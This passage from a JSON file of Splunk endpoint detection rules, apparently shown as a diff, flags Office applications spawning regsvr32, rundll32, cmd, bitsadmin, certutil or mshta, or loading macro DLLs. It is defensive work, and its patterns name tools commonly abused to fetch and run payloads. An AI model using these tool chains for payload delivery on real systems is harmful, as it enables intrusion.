infections. If confirmed malicious, this behavior could lead to code execution, allowing attackers to gain control over the affected system and potentially escalate privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"winword.exe\" OR Processes.parent_process_name = \"excel.exe\" OR Processes.parent_process_name = \"powerpnt.exe\" OR Processes.parent_process_name = \"outlook.exe\" OR Processes.parent_process_name = \"onenote.exe\" OR Processes.parent_process_name = \"onenotem.exe\" OR Processes.parent_process_name = \"onenoteviewer.exe\" OR Processes.parent_process_name = \"onenoteim.exe\" OR Processes.parent_process_name=\"msaccess.exe\") `process_regsvr32` by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `office_application_spawn_regsvr32_process_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office application spawning regsvr32.exe on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Application Spawn rundll32 process", - "description": "The following analytic identifies instances where an Office application spawns a rundll32 process, which is often indicative of macro execution or malicious code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is a known Office application. This activity is significant because it is a common technique used by malware, such as Trickbot, to initiate infections. If confirmed malicious, this behavior could lead to code execution, further system compromise, and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"winword.exe\" OR Processes.parent_process_name = \"excel.exe\" OR Processes.parent_process_name = \"powerpnt.exe\" OR Processes.parent_process_name= \"onenote.exe\" OR Processes.parent_process_name = \"onenotem.exe\" OR Processes.parent_process_name = \"onenoteviewer.exe\" OR Processes.parent_process_name = \"onenoteim.exe\" OR Processes.parent_process_name = \"msaccess.exe\") AND `process_rundll32` by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `office_application_spawn_rundll32_process_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "IcedID", - "NjRAT", - "Spearphishing Attachments", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office application spawning rundll32.exe on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Document Creating Schedule Task", - "description": "The following analytic detects an Office document creating a scheduled task, either through a macro VBA API or by loading `taskschd.dll`. This detection leverages Sysmon EventCode 7 to identify when Office applications load the `taskschd.dll` file. This activity is significant as it is a common technique used by malicious macro malware to establish persistence or initiate beaconing. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary commands, or schedule future malicious activities, posing a significant threat to the environment.", - "search": "`sysmon` EventCode=7 process_name IN (\"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\") loaded_file_path = \"*\\\\taskschd.dll\" | stats min(_time) as firstTime max(_time) as lastTime count by user_id, dest, process_name,loaded_file, loaded_file_path, original_file_name, process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `office_document_creating_schedule_task_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An Office document was identified creating a scheduled task on $dest$. Investigate further.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Document Executing Macro Code", - "description": "The following analytic identifies office documents executing macro code. It leverages Sysmon EventCode 7 to detect when processes like WINWORD.EXE or EXCEL.EXE load specific DLLs associated with macros (e.g., VBE7.DLL). This activity is significant because macros are a common attack vector for delivering malicious payloads, such as malware. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the system. Disabling macros by default is recommended to mitigate this risk.", - "search": "`sysmon` EventCode=7 process_name IN (\"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") loaded_file_path IN (\"*\\\\VBE7INTL.DLL\",\"*\\\\VBE7.DLL\", \"*\\\\VBEUI.DLL\") | stats min(_time) as firstTime max(_time) as lastTime values(loaded_file) as loaded_file count by dest EventCode process_name process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `office_document_executing_macro_code_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "DarkCrystal RAT", - "IcedID", - "NjRAT", - "PlugX", - "Qakbot", - "Remcos", - "Spearphishing Attachments", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office document executing a macro on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Document Spawned Child Process To Download", - "description": "The following analytic identifies Office applications spawning child processes to download content via HTTP/HTTPS. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where Office applications like Word or Excel initiate network connections, excluding common browsers. This activity is significant as it often indicates the use of malicious documents to execute living-off-the-land binaries (LOLBins) for payload delivery. If confirmed malicious, this behavior could lead to unauthorized code execution, data exfiltration, or further malware deployment, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") Processes.process IN (\"*http:*\",\"*https:*\") NOT (Processes.original_file_name IN(\"firefox.exe\", \"chrome.exe\",\"iexplore.exe\",\"msedge.exe\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `office_document_spawned_child_process_to_download_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "NjRAT", - "PlugX", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office document spawning suspicious child process on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawn CMD Process", - "description": "The following analytic detects an Office product spawning a CMD process, which is indicative of a macro executing shell commands to download or run malicious code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names. This activity is significant as it often signals the execution of malicious payloads, such as those seen in Trickbot spear-phishing campaigns. If confirmed malicious, this behavior could lead to unauthorized code execution, potentially compromising the system and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"winword.exe\" OR Processes.parent_process_name= \"excel.exe\" OR Processes.parent_process_name = \"powerpnt.exe\" OR Processes.parent_process_name= \"onenote.exe\" OR Processes.parent_process_name = \"onenotem.exe\" OR Processes.parent_process_name = \"onenoteviewer.exe\" OR Processes.parent_process_name = \"onenoteim.exe\" OR Processes.parent_process_name = \"msaccess.exe\" OR Processes.parent_process_name=\"Graph.exe\" OR Processes.parent_process_name=\"winproj.exe\") `process_cmd` by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest Processes.original_file_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `office_product_spawn_cmd_process_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "CVE-2023-21716 Word RTF Heap Corruption", - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "DarkCrystal RAT", - "NjRAT", - "PlugX", - "Qakbot", - "Remcos", - "Trickbot", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "an office product parent process $parent_process_name$ spawn child process $process_name$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning BITSAdmin", - "description": "The following analytic detects any Windows Office Product spawning `bitsadmin.exe`, a behavior often associated with malware families like TA551 and IcedID. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because `bitsadmin.exe` is commonly used for malicious file transfers, potentially indicating a malware infection. If confirmed malicious, this activity could allow attackers to download additional payloads, escalate privileges, or establish persistence, leading to further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_bitsadmin` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_bitsadmin_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning CertUtil", - "description": "The following analytic detects any Windows Office Product spawning `certutil.exe`, a behavior often associated with malware families like TA551 and IcedID. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process relationships and command-line executions. The significance lies in the fact that `certutil.exe` is frequently used for downloading malicious payloads from remote URLs. If confirmed malicious, this activity could lead to unauthorized code execution, data exfiltration, or further system compromise. Immediate investigation and containment are crucial to prevent potential damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_certutil` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_certutil_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Spearphishing Attachments", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning MSHTA", - "description": "The following analytic identifies instances where a Microsoft Office product spawns `mshta.exe`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is an Office application. This activity is significant because it is a common technique used by malware families like TA551 and IcedID to execute malicious scripts or payloads. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further malware deployment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\", \"onenote.exe\",\"onenotem.exe\", \"msaccess.exe\",\"Graph.exe\",\"winproj.exe\") `process_mshta` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_mshta_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "IcedID", - "NjRAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning Rundll32 with no DLL", - "description": "The following analytic detects any Windows Office Product spawning `rundll32.exe` without a `.dll` file extension. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process and parent process relationships. This activity is significant as it is a known tactic of the IcedID malware family, which can lead to unauthorized code execution. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further malware deployment. Immediate investigation and containment are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN 